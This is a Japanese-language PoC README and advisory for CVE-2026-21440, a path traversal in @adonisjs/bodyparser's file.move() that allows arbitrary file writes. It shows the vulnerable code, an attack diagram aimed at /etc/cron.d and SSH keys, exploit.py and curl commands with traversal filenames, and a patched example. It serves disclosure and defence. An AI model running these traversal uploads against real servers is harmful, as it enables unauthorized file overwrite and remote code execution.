poc と writeup for cve-2026-21440: @adonisjs/bodyparser における任意のファイル書き込みを可能にする重大なパストラバーサル脆弱性
@adonisjs/bodyparser におけるパストラバーサルによる任意ファイル書き込み
@adonisjs/bodyparser パッケージには、リモート攻撃者が意図したアップロードディレクトリの外部に任意のファイルを書き込むことができる深刻なパストラバーサル脆弱性が存在します。multipartfile.move() 関数がサニタイズされたファイル名を明示的に指定せずに呼び出されると、パーサーはクライアントから提供されたファイル名を適切なサニタイズなしにデフォルトで使用します。
実装が path.join() を使用し、options.overwrite がデフォルトで true であるため、攻撃者はディレクトリトラバーサルシーケンス(例: ../../etc/cron.d/malicious)を含む悪意のあるファイル名を細工して、ファイルシステム上の任意の場所にファイルを書き込むことができ、リモートコード実行につながる可能性があります。
| 属性 | 値 |
|---|---|
| CVE ID | cve-2026-21440 |
| CWE 分類 | cwe-22: 制限されたディレクトリへのパス名の不適切な制限('パストラバーサル') |
| CVSS v3.1 スコア | 9.2(緊急) |
| 攻撃ベクトル | ネットワーク |
| 攻撃の複雑さ | 低 |
| 必要な権限 | なし |
| ユーザー操作 | なし |
この脆弱性は multipartfile.move(location, options?) メソッドに存在します。開発者が options.name を指定せずにこのメソッドを呼び出すと、コードはサニタイズなしで this.clientName — クライアントから送信された元のファイル名 — をデフォルトで使用します。
// @adonisjs/bodyparser の脆弱なコードパス
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
const fileName = options?.name || this.clientName // ← サニタイズされていないクライアント入力
const filePath = path.join(location, fileName) // ← path.join はトラバーサルを許可
// ...
await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}
┌─────────────────────────────────────────────────────────────────┐
│ 攻撃者 │
└─────────────────────────────────────────────────────────────────┘
│
│ multipart/form-data
│ filename="../../etc/cron.d/pwned"
▼
┌─────────────────────────────────────────────────────────────────┐
│ 脆弱な AdonisJS アプリ │
│ │
│ request.file('upload') │
│ │ │
│ ▼ │
│ file.move(app.tmpPath()) ← サニタイズされた名前が指定されていない │
│ │ │
│ ▼ │
│ path.join('/tmp/uploads', '../../etc/cron.d/pwned') │
│ │ │
│ ▼ │
│ 解決先: /etc/cron.d/pwned │
│ │ │
│ ▼ │
│ アップロードディレクトリ外にファイルが書き込まれる │
└─────────────────────────────────────────────────────────────────┘
│
▼
任意ファイル書き込み
→ cron による RCE
→ 設定ファイルの上書き
→ SSH キーの注入
| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
@adonisjs/bodyparser | ≤ 10.1.1 | 10.1.2 |
@adonisjs/bodyparser | 11.0.0-next.1 から 11.0.0-next.5 | 11.0.0-next.6 |
@adonisjs/bodyparser を使用しているname オプションなしで file.move() を呼び出している# エクスプロイトディレクトリに移動
cd Exploit-PoC
# 依存関係をインストール
pip install -r requirements.txt
# エクスプロイトを実行
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"
curl -X POST http://target:3333/upload \
-F "[email protected];filename=../../tmp/pwned.txt"
// ❌ 脆弱 - クライアントから提供されたファイル名を使用
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
await file.move(app.tmpPath()) // clientName がファイル名として使用される
}
return response.ok({ message: 'uploaded' })
}
// ✅ 安全 - サニタイズされたファイル名を生成
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'
public async upload({ request, response }: HttpContext) {
const file = request.file('upload')
if (file) {
// 元の拡張子を持つ一意のファイル名を生成
const ext = path.extname(file.clientName).toLowerCase()
const safeName = `${cuid()}${ext}`
await file.move(app.tmpPath(), {
name: safeName,
overwrite: false // 上書きを防止
})
}
return response.ok({ message: 'uploaded' })
}
@adonisjs/bodyparser を修正済みバージョンに更新# リポジトリをクローン
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440
# 脆弱な環境を起動
docker-compose up --build
# 別のターミナルでエクスプロイトを実行
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"
# ファイルがアップロードディレクトリ外に書き込まれたことを確認
docker-compose exec app cat /app/test.txt
| 日付 | イベント |
|---|---|
| 2026-01-02 | パッチが 10.1.2 および 11.0.0-next.6 でリリース |
| 2026-01-02 | ghsa-gvq6-hvvp-h34h 公開 |
| 2026-01-02 | cve-2026-21440 割り当て |
| 2026-01-02 | NVD により公開 |
このリポジトリは教育目的および許可されたセキュリティ研究目的のみで提供されています。概念実証コードは、セキュリティ専門家が評価を許可された環境でこの脆弱性を理解しテストするのに役立つことを意図しています。
コンピュータシステムへの不正アクセスは違法です。 著者はこの情報の誤用について一切の責任を負いません。脆弱性をテストする前に必ず適切な許可を取得してください。
k0nnect が ☕ とともにより研究